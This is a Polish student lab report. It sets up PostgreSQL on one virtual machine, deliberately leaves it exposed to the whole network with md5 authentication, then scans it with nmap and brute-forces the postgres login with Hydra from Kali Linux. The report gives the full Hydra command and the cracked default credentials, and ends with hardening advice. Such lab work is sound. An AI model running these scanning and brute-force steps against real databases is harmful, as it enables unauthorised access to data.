

Ochrona Danych

Karkulowski Tomasz 163105

Przeprowadzanie ataku na bazę danych PostgreSQL za pomocą Hydra

1. Potrzebujemy dwóch maszyn wirtualnych w tej samej sieci lokalnej (w celach edukacyjnych)
 - a. Instalujemy Kali Linux [GUI] (może być zwykły Debian z zainstalowanym repozytorium Hydra)
 - b. Instalujemy PostgreSQL na drugiej maszynie (CLI)
2. Nie będę przedstawiać instalacji Debiana na VBox, bo każdy wie co i jak
3. Maszyna wirtualna z bazą danych posiada adres ..71 (DHCP)

```
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:e2:84:b3 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.71/24 brd 192.168.1.255 scope global dynamic enp0s3
        valid_lft 86294sec preferred_lft 86294sec
    inet6 fe80::a00:27ff:fee2:84b3/64 scope link
        valid_lft forever preferred_lft forever
```

4. Instalujemy psql normalnie z repozytorium

```
root@od-pg:~# apt install postgresql -y
```

5. Patrzymy czy psql się uruchomił i na jakim porcie (standardowo 5432)

```
root@od-pg:~# ss -ntpa | grep postgre
LISTEN 0      244          127.0.0.1:5432      0.0.0.0:*        users:((("postgres",pid=3379,fd=6))
LISTEN 0      244          [::1]:5432         [::]:*          users:((("postgres",pid=3379,fd=5))
```

Jak widać usługa uruchomiona na porcie 5432 tylko dostępna z wewnątrz

6. Sprawdźmy konfigurację **pg_hba.conf** która odpowiada za dostęp i uprawnienia do bazy danych (**/etc/postgresql/{wersja}/main/pg_hba.conf**)

```
# DO NOT DISABLE!
# If you change this first entry you will need to make sure that the
# database superuser can access the database using some other method.
# Noninteractive access to all databases is required during automatic
# maintenance (custom daily cronjobs, replication, and similar tasks).
#
# Database administrative login by Unix domain socket
local    all             postgres                                peer

# TYPE      DATABASE        USER            ADDRESS                 METHOD

# "local" is for Unix domain socket connections only
local    all             all                                     peer
# IPv4 local connections:
host     all             all             127.0.0.1/32            scram-sha-256
# IPv6 local connections:
host     all             all             ::1/128                 scram-sha-256
# Allow replication connections from localhost, by a user with the
# replication privilege.
local    replication     all             peer
host     replication     all             127.0.0.1/32            scram-sha-256
host     replication     all             ::1/128                 scram-sha-256
```

Jak widać standardowa konfiguracja pliku ustawia dostęp tylko z wewnątrz i w dodatku poprzez hasło z wykorzystaniem szyfrowania **SHA-256** (może być też **MD5**)

Nawet jeśli chcemy połączyć się z bazą danych lokalnie musimy wpisać hasło

```
root@od-pg:/etc/postgresql/15/main# psql -h 127.0.0.1 -p 5432 -U postgres -d template
Password for user postgres: █
```

Można to zmienić oczywiście wpisując **trust** zamiast **scram-sha-256**

```
# DO NOT DISABLE!
# If you change this first entry you will need to make sure that the
# database superuser can access the database using some other method.
# Noninteractive access to all databases is required during automatic
# maintenance (custom daily cronjobs, replication, and similar tasks).
#
# Database administrative login by Unix domain socket
local    all             postgres                                peer

# TYPE      DATABASE        USER            ADDRESS                 METHOD

# "local" is for Unix domain socket connections only
local    all             all                                     peer
# IPv4 local connections:
host     all             all             127.0.0.1/32            trust
# IPv6 local connections:
host     all             all             ::1/128                 scram-sha-256
# Allow replication connections from localhost, by a user with the
# replication privilege.
local    replication     all             peer
host     replication     all             127.0.0.1/32            scram-sha-256
host     replication     all             ::1/128                 scram-sha-256
```

Można również ustawiać uprawnienia kto gdzie i w jaki sposób ma dostęp do danej bazy danych

Teraz trzeba zresetować usługę

```

root@od-pg:~# service postgresql restart
root@od-pg:~# psql -h 127.0.0.1 -p 5432 -U postgres
psql (15.10 (Debian 15.10-0+deb12u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)
Type "help" for help.

postgres=# \dn
          List of schemas
  Name  | Owner
-----+-----
 public | pg_database_owner
(1 row)

postgres=#

```

7. Utworzymy bazę danych a w bazie tabele pracownik i dodamy kilka pracowników

```

root@od-pg:~# createdb -U postgres -p 5432 -h 127.0.0.1 -T template0 OD -E UTF8 --lc-collate=pl_PL.UTF8 --lc-ctype=pl_PL.UTF-8
root@od-pg:~# psql -h 127.0.0.1 -p 5432 -U postgres -d OD
psql (15.10 (Debian 15.10-0+deb12u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)
Type "help" for help.

OD=# CREATE TABLE pracownik (
      id SERIAL PRIMARY KEY,
      imie VARCHAR(50) NOT NULL,
      nazwisko VARCHAR(50) NOT NULL,
      stanowisko VARCHAR(50)
);
CREATE TABLE
OD=# INSERT INTO pracownik (imie, nazwisko, stanowisko)
VALUES
('Jan', 'Kowalski', 'Programista'),
('Anna', 'Nowak', 'Analityk'),
('Piotr', 'Zieliński', 'Administrator');
INSERT 0 3

```

Sprawdźmy czy wszystko jest okej

```

OD=# select * from pracownik;
 id | imie  | nazwisko | stanowisko
-----+-----+-----+-----
  1 | Jan   | Kowalski | Programista
  2 | Anna  | Nowak    | Analityk
  3 | Piotr | Zieliński | Administrator
(3 rows)

```

8. Założmy taki scenariusz, że chcemy skorzystać z GUI i użyjemy do tego pgAdmin, więc, żeby połączyć się z bazą na zewnątrz potrzebujemy otworzyć port na zewnątrz i skorzystać z „tunelowania”

a. Musimy ustawić dostęp z zewnątrz w **pg_hba.conf**

```

# TYPE      DATABASE      USER      ADDRESS      METHOD
# "local" is for Unix domain socket connections only
local       all             all                                     peer
# IPv4 local connections:
#host       all             all        127.0.0.1/32   trust
host        all             all        0.0.0.0/0      md5
# IPv6 local connections:
host        all             all        ::1/128       scram-sha-256
# Allow replication connections from localhost, by a user with the
# replication privilege

```

b. Ustawiamy * zamiast **127.0.0.1** w **postgresql.conf**

```
#-----
# CONNECTIONS AND AUTHENTICATION
#-----

# - Connection Settings -

listen_addresses = '*'          # what IP address(es) to listen on;
                                # comma-separated list of addresses;
                                # defaults to 'localhost'; use '*' for all
                                # (change requires restart)
port = 5432                     # (change requires restart)
max_connections = 100           # (change requires restart)
#superuser_reserved_connections = 3 # (change requires restart)
```

c. Resetujemy usługę

```
root@od-pg:~# systemctl restart postgresql.service
root@od-pg:~# ss -ntpa | grep postgres
LISTEN  0      244          0.0.0.0:5432      0.0.0.0:*        users:((("postgres",pid=15892,fd=5))
LISTEN  0      244          [::]:5432        [::]:*          users:((("postgres",pid=15892,fd=6))
```

d. Tworzymy „tunel” przy pomocy **plink.exe** (oczywiście wygodniej do tego użyć **rsa**)

```
C:\Program Files\PuTTY>plink.exe -L 127.0.0.1:123:192.168.1.71:5432 -N tomek@192.168.1.71
The host key is not cached for this server:
 192.168.1.71 (port 22)
You have no guarantee that the server is the computer you
think it is.
The server's ssh-ed25519 key fingerprint is:
  ssh-ed25519 255 SHA256:aQc9ztOC5OuLnD3WkOGGY/cltv7itlOqsOn4cBiJGxc
If you trust this host, enter "y" to add the key to Plink's
cache and carry on connecting.
If you want to carry on connecting just once, without adding
the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n, Return cancels connection, i for more info) yes
Using username "tomek".
tomek@192.168.1.71's password:

Access granted. Press Return to begin session.
```

-L służy jako przekierowanie naszego adresu i portu na adres maszyny i port na jakim działa usługa

-N wyłącza widok konsoli, połączenia po zalogowaniu się

e. Wchodzimy na pgAdmin i wpisujemy dane do połączenia

Register - Server



General Connection Parameters SSH Tunnel Advanced Tags

Host name/address 127.0.0.1

Port 123

Maintenance database postgres

Username postgres

Kerberos authentication? ☐

Password

Save password? ☐

Role

Service



Close

Reset

Save

File Object Tools Edit View Window Help

Object



- Servers (1)
 - OD-test
 - Databases (2)
 - OD**
 - postgres
 - Login/Group Roles
 - Tablespaces

✓ OD-test/OD - Database connected. ✕

Jak widać jesteśmy połączeni (można oczywiście zmienić **database** na **OD**)

- f. Przechodzimy do **OD -> Schemas -> public -> Tables -> pracownik** i wciskamy **Alt+Shift+v**

The screenshot shows the pgAdmin interface. At the top, the connection is 'public.pracownik/OD/postgres@OD-test'. The 'Query' tab is active, displaying the following SQL query:

```
1 SELECT * FROM public.pracownik
2 ORDER BY id ASC
```

Below the query, the 'Data Output' tab shows the results of the query in a table format. The table has 5 columns: id, imie, nazwisko, and stanowisko. The data is as follows:

	id [PK] integer	imie character varying (50)	nazwisko character varying (50)	stanowisko character varying (50)
1	1	Jan	Kowalski	Programista
2	2	Anna	Nowak	Analitik
3	3	Piotr	Zieliński	Administrator

Dajmy na to, że sobie coś tam zmieniamy edytujemy itp.

Wychodzimy z pgAdmin i zapominamy ustawić na nowo **pg_hba.conf** oraz **postgresql.conf** (oczywiście jest to najprostszy scenariusz)

9. Przechodzimy do Kali linux, który posiada adres ..72

```
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP g
roup default qlen 1000
    link/ether 08:00:27:4f:b3:83 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.72/24 brd 192.168.1.255 scope global dynamic noprefixroute
    eth0
        valid_lft 83054sec preferred_lft 83054sec
    inet6 fe80::a00:27ff:fe4f:b383/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Jako, że wiemy jaki mamy adres przeskanujmy sieć za pomocą **nmap**, żeby uzyskać dane na temat maszyn w sieci

```
(tomek@od-kali)-[~]  
$ nmap 192.168.1.0/24  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 17:57 CET
```

Jak widać jest maszyna z aktywną usługą postgresql

```
Nmap scan report for od-pg.home (192.168.1.71)  
Host is up (0.00051s latency).  
Not shown: 998 closed tcp ports (conn-refused)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
5432/tcp   open  postgresql
```

Jak już wszystko wiemy to czas użyć **Hydra**

```
(root@od-kali)-[/home/tomek]  
# hydra -s 5432 -v -V -L /home/tomek/Desktop/Login.txt -P /home/tomek/Desktop/password.txt -e nsr -t 1 -w 32 192.168.1.71 postgres
```

Wyniki

```
connection string: host = '192.168.1.71' dbname = 'template1' user = 'digest' password = 'password'  
connection string: host = '192.168.1.71' dbname = 'template1' user = 'digest' password = 'pass'  
  
[ATTEMPT] target 192.168.1.71 - login "postgres" - pass "postgres" - 181 of 300 [child 0] (0/0)  
connection string: host = '192.168.1.71' dbname = 'template1' user = 'postgres' password = 'postgres'  
[5432][postgres] host: 192.168.1.71 login: postgres password: postgres
```

Oczywiście lista jest z najczęstszymi hasłami i loginami, przeważnie są to standardowe/domyślne ustawione przez postgresql

Jak się przed tym zabezpieczyć?

1. Polecam zawsze sprawdzać konfigurację **pg_hba.conf** oraz **postgresql.conf**
2. Podczas instalacji lub już po zmienić na inny niż domyślny port
3. Ustawić nowe hasła i użytkowników do różnych baz danych
4. Używać narzędzi do monitorowania sieci lub hostów takie jak Zabbix, Grafana i Wireshark, fail2ban
5. Zrezygnować z używania domyślnego usera jakim jest postgres
6. Włączyć szyfrowanie za pomocą SSL